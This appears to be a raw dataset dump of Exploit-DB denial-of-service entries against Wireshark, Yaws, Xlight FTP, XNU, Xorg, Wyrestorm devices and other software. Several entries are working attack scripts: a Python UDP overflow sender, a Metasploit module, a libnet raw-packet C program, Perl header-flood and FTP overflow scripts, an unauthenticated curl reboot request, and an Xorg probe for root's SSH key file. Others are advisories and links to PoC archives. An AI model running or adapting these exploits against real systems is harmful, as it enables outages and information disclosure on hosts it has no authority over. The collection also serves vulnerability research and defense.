deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40198
Description: Wireshark 1.12.0 < 1.12.12 / 2.0.0 < 2.0.4 - WSP Dissector Denial of Service
Type: dos
Platform: multiple
Date: 2016-08-03
Author: Chris Benedict

Exploit:
Sample generated with AFL

Build Information:
TShark (Wireshark) 2.0.4

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.1, without SMI, with c-ares 1.11.0, with Lua
5.2, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos, with GeoIP.

Running on Linux 4.6.3-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.13, with Gcrypt 1.7.1.
       Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz (with SSE4.2)

Built using gcc 6.1.1 20160602.
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)

This infinite loop is caused by an offset of 0 being returned by wkh_content_disposition(). This offset of 0 prevents the while loop using "offset < tvb_len" from returning and results in an infinite loop.

This issue has been observed in both tshark 1.12.x and 2.0.x.

Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40198.zip
Exploit-DB #36840
Description: Wireshark 1.12.4 - Memory Corruption and Access Violation (PoC)
Type: dos
Platform: multiple
Date: 2015-04-27
Author: Avinash Thapa

Exploit:
#!/usr/bin/python
# EXPLOIT TITLE: WIRESHARK <=1.12.4 Access Violation and Memory Corruption PoC
# AUTHOR: Avinash Kumar Thapa "-Acid"
# Date of Testing: 26th April'2015
# Vendor Homepage: http://www.wireshark.org
# Tested On : Windows 8.1 Pro
# Steps to Reproduce the Crash
# Step 1: Create a File Using PoC
# Step 2: Go to wirehshark and in filter field, put ip.addr=={Buffer}
# Step 3: Click "Apply"
# Some other places for the Crash are:
# Statistics > IP Statistics then any of the field you can use.
# Statistics > Packet Length > Paste the buffer in the field
# Statistics > ANCP
# Statistics > Collectd
# Statistics > Compared
# Statistis  > 


buffer = "A"*80000

file = open("wireshark.txt","w")
file.write(buffer)
file.close()

print "POC Created by -Acid"
print " Email: acid.exploit@gmail.com"
Exploit-DB #11288
Description: Wireshark 1.2.5 - 'LWRES getaddrbyname' Stack Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2010-01-29
Author: babi

Exploit:
#!/usr/bin/env python

# Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow PoC
# with control over EIP on Debian 5.0.3
# by babi <bbbbaaaabbbbiiii@operamail.com> on 29 Jan 2010
# get it at http://www.wireshark.org/download/src/all-versions/wireshark-1.2.5.tar.gz

import socket, sys

try:
  host = sys.argv[1]
except:
  print "usage: " + sys.argv[0] + " <host>"
  exit(2)

port = 921
addr = (host, port)

leng = 380
high = int(leng / 256)
low = leng & 255

data  = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
data += "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data += "\x00\x00\x00\x01"
data += chr(high) + chr(low) + ("B" * leng) + "\x00\x00"

udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
  udps.sendto(data, addr)
except:
  print "can't lookup host"
  exit(1)

udps.close()
exit(0)
Exploit-DB #40195
Description: Wireshark 2.0.0 < 2.0.4 - MMSE / WAP / WBXML / WSP Dissectors Denial of Service
Type: dos
Platform: multiple
Date: 2016-08-03
Author: Antti Levomäki

Exploit:
Build Information:
TShark (Wireshark) 2.0.2 (SVN Rev Unknown from unknown)

Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.0, with SMI 0.4.8, with c-ares 1.10.0, with Lua
5.2, with GnuTLS 3.4.10, with Gcrypt 1.6.5, with MIT Kerberos, with GeoIP.

Running on Linux 4.4.0-22-generic, with locale en_GB.UTF-8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.10, with Gcrypt 1.6.5.
Intel Core Processor (Haswell) (with SSE4.2)

Built using gcc 5.3.1 20160407.

--
Fuzzed PCAP eats large amounts of memory ( >4GB ) with a single UDP packet on tshark 2.0.2 and a recent build from repository


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40195.zip
Exploit-DB #43233
Description: Wireshark 2.4.0 < 2.4.2 / 2.2.0 < 2.2.10 - CIP Safety Dissector Crash
Type: dos
Platform: multiple
Date: 2017-12-07
Author: Wireshark

Exploit:
Summary

Name: CIP Safety dissector crash

Docid: wnpa-sec-2017-49

Date: November 30, 2017

Affected versions: 2.4.0 to 2.4.2, 2.2.0 to 2.2.10

Fixed versions: 2.4.3, 2.2.11

References: 
Wireshark bug 14250

Details

Description
The CIP Safety dissector could crash.
Impact
It may be possible to make Wireshark crash by injecting a malformed packet onto the wire or by convincing someone to read a malformed packet trace file.

Resolution
Upgrade to Wireshark 2.4.3, 2.2.11 or later.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43233.zip
Exploit-DB #33556
Description: Wireshark CAPWAP Dissector - Denial of Service (Metasploit)
Type: dos
Platform: multiple
Date: 2014-05-28
Author: j0sm1

Exploit:
#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wireshark CAPWAP Dissector DoS',
      'Description'    => %q{
        This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0
        to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an
        incomplete packet.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Laurent Butti', # Discovery vulnerability
          'j0sm1'  # Auxiliary msf module
        ],
      'References'     =>
        [
          ['CVE', '2013-4074'],
          ['OSVDB', '94091'],
          ['BID', '60500']
        ],
      'DisclosureDate' => 'Apr 28 2014'))

    # Protocol capwap needs port 5247 to trigger the dissector in wireshark
    register_options([ Opt::RPORT(5247) ], self.class)
  end

  def run

    connect_udp

    # We send a packet incomplete to crash dissector
    print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
    # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
    # the dissector crash
    # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
    # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
    buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
    udp_sock.put(buf)

    disconnect_udp

  end
end
Exploit-DB #22926
Description: Witango Server 5.0.1.061 - Remote Cookie Buffer Overflow
Type: dos
Platform: multiple
Date: 2003-07-18
Author: Next Generation Software

Exploit:
source: https://www.securityfocus.com/bid/8224/info

Witango Server is prone to a remote buffer overflow vulnerability. Remote users may be able to send an HTTP request to a Witango server with a cookie containing a specific variable set to an excessively large value. Remote code execution is possible.

GET /ngssoftware.tml HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*
Accept-Language: en-gb
User-Agent: My Browser
Host: ngssoftware.com
Connection: Keep-Alive
Cookie: Witango_UserReference= parameter length 2864
Exploit-DB #33099
Description: World in Conflict 1.0.1 - Typecheck Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-06-16
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/35751/info

World in Conflict is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker could exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects World in Conflict 1.0.1.1 and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33099.zip
Exploit-DB #31957
Description: World in Conflict 1.008 - Null Pointer Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-06-23
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/29888/info

World in Conflict is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker could exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects World in Conflict 1.008; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31957.zip
Exploit-DB #51815
Description: Wyrestorm Apollo VX20  < 1.3.58 - Incorrect Access Control 'DoS'
Type: dos
Platform: multiple
Date: 2024-02-26
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_DOS_CVE-2024-25736.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     


[Vendor]
www.wyrestorm.com


[Product]
APOLLO VX20 < 1.3.58


[Vulnerability Type]
Incorrect Access Control (DOS)


[Affected Product Code Base]
APOLLO VX20 < 1.3.58, fixed in v1.3.58


[Affected Component]
Web interface, reboot and reset commands


[CVE Reference]
CVE-2024-25736


[Security Issue]
An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. Remote attackers can restart the device via a /device/reboot HTTP GET request.


[Exploit/POC]
curl -k https://192.168.x.x/device/reboot


[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: January 18, 2024
Vendor released fixed firmware v1.3.58: February 2, 2024
February 11, 2024 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #26145
Description: Wyse Winterm 1125SE 4.2/4.4 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2005-08-10
Author: Piotr Chytla

Exploit:
// source: https://www.securityfocus.com/bid/14536/info

Winterm 1125SE is affected by a remote denial of service vulnerability. This issue is due to the application failing to handle exceptional conditions in a proper manner.

The problem occurs when processing packets with malformed IP headers. A successful attack causes the application to crash, denying service to legitimate users. 

/*
 * 3com superstack II RAS 1500 remote Denial of Service
 *
 * Piotr Chytla <pch@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <libnet.h>
#define OPT_LEN 4
void usage()
{
  printf("Args: \n");
  printf("-s [source address]\n");
  printf("-d [destination address]\n");
}

int main(int argc,char *argv[])
{
 char a;
 int sock,r;
 u_long src;
 u_long dst;
 char pktbuf[IP_MAXPACKET];
 char payload[]="ABCDEFGHIJKLMNOPRST";
 u_char options[4];
 struct ipoption ipopt;
 bzero(options,OPT_LEN);
 while((a=getopt(argc,argv,"d:s:h?"))!=EOF)
 {
     switch(a) {
         case 'h' : { usage(); exit(1); }
         case 's' : { src=libnet_name_resolve(optarg,0); break;}
         case 'd' : { dst=libnet_name_resolve(optarg,0); break;}
        }
 }
 sock = libnet_open_raw_sock(IPPROTO_RAW);
 if (sock<0)
 {
 perror("socket");
 exit(1);
 }

 libnet_build_ip(strlen(payload),0,0x1337,0,255,0xaa,src,dst,payload,strlen(payload),pktbuf);
  memcpy(ipopt.ipopt_list, options, OPT_LEN);
  *(ipopt.ipopt_list)     = 0xe4;
  *(ipopt.ipopt_list+1)   = 0;
  *(ipopt.ipopt_list+1)   = 0;
  *(ipopt.ipopt_list+1)   = 0;
  r=libnet_insert_ipo(&ipopt,OPT_LEN,pktbuf);
  if (r <0)
   {
        libnet_close_raw_sock(sock);
        printf("Error ip options insertion failed\n");
        exit(1);
   }
  r=libnet_write_ip(sock,pktbuf,LIBNET_IP_H+OPT_LEN+strlen(payload));
  if (r<0)
  {
   libnet_close_raw_sock(sock);
   printf("Error write_ip \n");
   exit(1);
  }
 libnet_close_raw_sock(sock);
 return 0;
}
Exploit-DB #5152
Description: X.Org xorg-server 1.1.1-48.13 - Probe for Files (PoC)
Type: dos
Platform: multiple
Date: 2008-02-19
Author: vl4dZ

Exploit:
#!/bin/sh
# Xorg file disclosure vulnerability (CVE-2007-5958)
#
# Lame xploit by vl4dZ :))
#
# sh-3.1$ whoami
# uid=1001(kecos) gid=1001(user) groups=1001(user)
# sh-3.1$ ./Xorg-File-Existence-PoC.sh /root/.ssh/id_dsa
# ...
# *** FILE /root/.ssh/id_dsa EXIST !! ***

# Vulnerable: xorg-server <= 1.1.1-48.13

X_EXEC=/usr/bin/X
TMP_FILE=/tmp/X.$$

if [ "$1" = "" ]; then
   echo "usage: $0 <file>"
   exit 1
fi

[ -f ${X_EXEC} ] || (echo "${X_EXEC} not found"; exit 1)

echo -e "\n** Xorg file disclosure vulnerability PoC (CVE-2007-5958) **\n"
echo "A second X server is going to be started, once started, type the "
echo "ctrl+Alt+Backspace sequence and you'll see the result of your request."
echo -en "\nType [Enter] to start: "; read

LANG=c ${X_EXEC} :1 -ac -sp $1 2> ${TMP_FILE}

grep "error opening security policy file" ${TMP_FILE} >/dev/null
if [ $? != 0 ]; then
   echo "*** FILE $1 EXIST !! ***"
else
   echo "*** FILE $1 DOES NOT EXIST !! ***"
fi
rm -f ${TMP_FILE}

echo -e "\nCtrl-C to quit."
sleep 500

# milw0rm.com [2008-02-19]
Exploit-DB #25393
Description: XAMPP - Insecure Default Password Disclosure
Type: dos
Platform: multiple
Date: 2005-04-12
Author: Morning Wood

Exploit:
source: https://www.securityfocus.com/bid/13131/info

An insecure default password disclosure vulnerability affects XAMPP. This issue is due to a failure of the application to properly secure access to default passwords.

An attacker may leverage this issue to gain access to the default passwords for many utilities installed by the affected application, including the MySQL 'root' user, the phpMyAdmin 'pma' user, the FTP 'nobody' user and the Tomcat administrator. 

http://www.example.com/xampp/security.php
Exploit-DB #52382
Description: Xlight FTP 1.1 - Denial Of Service (DOS)
Type: dos
Platform: multiple
Date: 2025-07-28
Author: Fernando Mengali

Exploit:
# Exploit Title: Xlight FTP 1.1 - Denial Of Service (DOS)
# Google Dork: N/A
# Date: 22 July 2025
# Exploit Author: Fernando Mengali
# LinkedIn: https://www.linkedin.com/in/fernando-mengali/
# Vendor Homepage: https://www.xlightftpd.com
# Software Link: N/A
# Version: 1.1
# Tested on: Windows XP
# CVE: CVE-2024-0737 

  $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

    my $payload = "\x41"x500;    

    my $ftp = Net::FTP->new($ip, Debug => 0) or die "Não foi possível se conectar ao servidor: $@";

    $ftp->login($payload,"anonymous") or die "[+] Possibly exploited!";              

    $ftp->quit;

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print q {

	                            ,--,
	                     _ ___/ /\|
	                 ,;'( )__, )  ~
	                //  //   '--; 
	                '   \     | ^
	                     ^    ^

	    [+] LightFTP 1.1 - Denial of Service (DoS)

	    [*] Coded by Fernando Mengali

	    [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }
Exploit-DB #44849
Description: XNU Kernel - Heap Overflow Due to Bad Bounds Checking in MPTCP
Type: dos
Platform: multiple
Date: 2018-06-06
Author: Google Security Research

Exploit:
mptcp_usr_connectx is the handler for the connectx syscall for the AP_MULTIPATH socket family.

The logic of this function fails to correctly handle source and destination sockaddrs which aren't
AF_INET or AF_INET6:

// verify sa_len for AF_INET:

  if (dst->sa_family == AF_INET &&
      dst->sa_len != sizeof(mpte->__mpte_dst_v4)) {
    mptcplog((LOG_ERR, "%s IPv4 dst len %u\n", __func__,
        dst->sa_len),
       MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);
    error = EINVAL;
    goto out;
  }

// verify sa_len for AF_INET6:

  if (dst->sa_family == AF_INET6 &&
      dst->sa_len != sizeof(mpte->__mpte_dst_v6)) {
    mptcplog((LOG_ERR, "%s IPv6 dst len %u\n", __func__,
        dst->sa_len),
       MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);
    error = EINVAL;
    goto out;
  }

// code doesn't bail if sa_family was neither AF_INET nor AF_INET6

  if (!(mpte->mpte_flags & MPTE_SVCTYPE_CHECKED)) {
    if (mptcp_entitlement_check(mp_so) < 0) {
      error = EPERM;
      goto out;
    }

    mpte->mpte_flags |= MPTE_SVCTYPE_CHECKED;
  }

// memcpy with sa_len up to 255:

  if ((mp_so->so_state & (SS_ISCONNECTED|SS_ISCONNECTING)) == 0) {
    memcpy(&mpte->mpte_dst, dst, dst->sa_len);
  }

This PoC triggers the issue to overwrite the mpte_itfinfo field leading to a controlled pointer
being passed to kfree when the socket is closed.

Please note that these lengths seem to be trusted in multiple places - I would strongly suggest auditing
this code quite thoroughly, especially as mptcp can be reached from more places as of iOS 11.

Note that the MPTCP code does seem to be quite buggy; trying to get a nice PoC working for this buffer overflow
bug I accidentally triggered the following error path:

  error = socreate_internal(dom, so, SOCK_STREAM, IPPROTO_TCP, p,
          SOCF_ASYNC, PROC_NULL);
  mpte_lock(mpte);
  if (error) {
    mptcplog((LOG_ERR, "%s: subflow socreate mp_so 0x%llx unable to create subflow socket error %d\n",
        (u_int64_t)VM_KERNEL_ADDRPERM(mp_so), error),
       MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);

    proc_rele(p);

    mptcp_subflow_free(mpts);
    return (error);
  }

note that first argument to mptcplog has one too few arguments. It's probably not so interesting from a security
POV but is indicative of untested code (this error path has clearly never run as it will always kernel panic.) 

This PoC is for MacOS but note that this code is reachable on iOS 11 from inside the app sandbox if you give yourself
the multipath entitlement (which app store apps can now use.)

Just run this PoC as root on MacOS for easy repro.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44849.zip
Exploit-DB #8148
Description: Yaws < 1.80 - Multiple Headers Remote Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2009-03-03
Author: Praveen Darshanam

Exploit:
#!usr/bin/perl -w

#######################################################################################
#   Yaws before 1.80 allows remote attackers to cause a denial of service (memory
#   consumption and crash) via a request with a large number of headers.
#   Refer:
#        http://yaws.hyber.org/
#        https://www.securityfocus.com/bid/33834/discuss
#        http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0751
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Dar$hanam
#        Email:     praveen[underscore]recker[at]sify.com
#        Blog:       http://www.darshanams.blogspot.com/
#        Date:      03rd March, 2009
#        Site:       http://www.evilfingers.com/
#
###Thanx to str0ke, milw0rm, Manuel Duran Aguete, @rp m@n, and all the Security Folks###
########################################################################################

use IO::Socket;

print("\nEnter IP Address of Yaws Server(not domain): \n");
$vuln_host_ip = <STDIN>;
chomp($vuln_host_ip);
$port = 80;

$sock_http = IO::Socket::INET->new(  PeerAddr => $vuln_host_ip,
                                     PeerPort => $port,
                                     Proto    => 'tcp') || "Unable to create HTTP Socket";


$headers="Date: Tue, 03 Mar 2009 15:17:53 GMT\r\n".
"Accept-Ranges: bytes\r\n".
"Content-Language: en\r\n".
"Content-Type: text/html; charset=utf-8\r\n".
"Expires: Thu, 05 Mar 2009 15:17:53 GMT\r\n".
"Cache-Control: no-cache\r\n".
"Content-Encoding: gzip\r\n".
"Retry-After: 100\r\n";
print "\nHeaders are:\n$headers";

$i=0;
while($i<=13)    #this is just a PoC
{
$headers=$headers.$headers;
$i++;
}
print "\nHeaders are:\n$headers";
$yaws_attack = "GET / HTTP/1.1\r\n".
"Host: $vuln_host_ip:$port\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
$headers.
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"\r\n";
sleep(3);
print $sock_http $yaws_attack;
sleep(2);
print"\nRequest with large number of Headers sent...\n";

close($sock_http);

# milw0rm.com [2009-03-03]
Exploit-DB #32104
Description: ZDaemon 1.8 - Null Pointer Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-07-21
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/30340/info

ZDaemon is prone to a remote denial-of-service vulnerability because the application fails to handle NULL-pointer exceptions.

An attacker could exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects ZDaemon 1.08.07 and earlier versions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32104.zip
Exploit-DB #27547
Description: Zdaemon 1.8.1 - Multiple Vulnerabilities
Type: dos
Platform: multiple
Date: 2006-03-31
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/17340/info

ZDaemon is prone to multiple remote vulnerabilities.

A buffer overflow vulnerability exists in the 'is_client_wad_ok' function.

A remote denial of service condition also affects the server.

ZDaemon 1.08.01 and prior versions are affected.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27547.zip